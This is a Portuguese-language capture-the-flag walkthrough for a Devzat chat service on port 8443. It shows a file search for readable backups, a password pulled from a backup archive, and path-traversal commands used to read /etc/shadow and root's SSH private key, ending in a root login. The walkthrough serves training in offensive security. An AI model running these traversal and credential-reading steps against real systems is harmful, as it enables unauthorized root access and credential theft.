> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/devzat-8443.md).

# Devzat - 8443

Abuso do parâmetro de arquivo do Devzat, descoberta de backup, travessia de caminho, leitura de arquivo shadow e acesso à chave SSH root.

### Porta 8443 (Devzat - Produção)

A porta 8443 expõe uma instância de produção do Devzat. O `arquivo` parâmetro pode listar arquivos no sistema como root, mas esse recurso é protegido por senha.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25151fedbba14abff31d896121b3ca3f5fb482d0%2Fimage%20(1060).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6726c8ad6719087d82ff9fea969342976c91bfb%2Fimage%20(1061).png?alt=media" alt=""><figcaption></figcaption></figure>

Tentando *catherine*A senha de 's falha. Procure por arquivos que *catherine* podem ser lidos no sistema.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d351f44d38c6183636ae4b9f3664c75f0415789%2F%7BA4E497F5-2B49-410F-90C9-4D82F636AE17%7D.png?alt=media" alt="" width="538"><figcaption></figcaption></figure>

### Procure por arquivos legíveis por Catherine

Encontre todos os arquivos legíveis por *catherine*:

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

Dois arquivos de backup `.zip` são encontrados:

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

Baixe o arquivo de backup `devzat-dev.zip` e filtre seu conteúdo em busca de senhas. Uma senha útil é encontrada: **`CeilingCatStillAThingIn2021?`**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af919d73e16b8c2db08afbcd897deca0d3029d0f%2Fimage%20(1062).png?alt=media" alt=""><figcaption></figcaption></figure>

Use essa senha para acessar `/etc/shadow` por meio da variável `arquivo` parâmetro:

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

Embora a senha esteja correta, **travessia de diretório** é necessária para obter acesso total. Use uma travessia para navegar pelo sistema de arquivos:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87018683dee545bef98f49d5c3cf71ea0e5947d6%2F%7BC6E89116-9630-4D34-BF14-E095C90265CF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

O `/etc/shadow` arquivo é exibido com sucesso como root.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-638d2d8d95001304372bdc8581719754bb9f1e19%2F%7BC723D1E1-26FB-4AD1-88FB-08002433C16E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Acesso SSH como root

Use uma travessia de diretório adicional para acessar a chave SSH do root:

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fefbdce624c13fe2800452370dea8c6e39fb624%2F%7B3A3E604C-9EA9-4A18-9120-5441BD424A2C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Baixe a chave SSH e faça login como root.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93cf5d8448c40ac72b6d336a42cb14f84fd65c9e%2Fimage%20(1063).png?alt=media" alt=""><figcaption></figcaption></figure>


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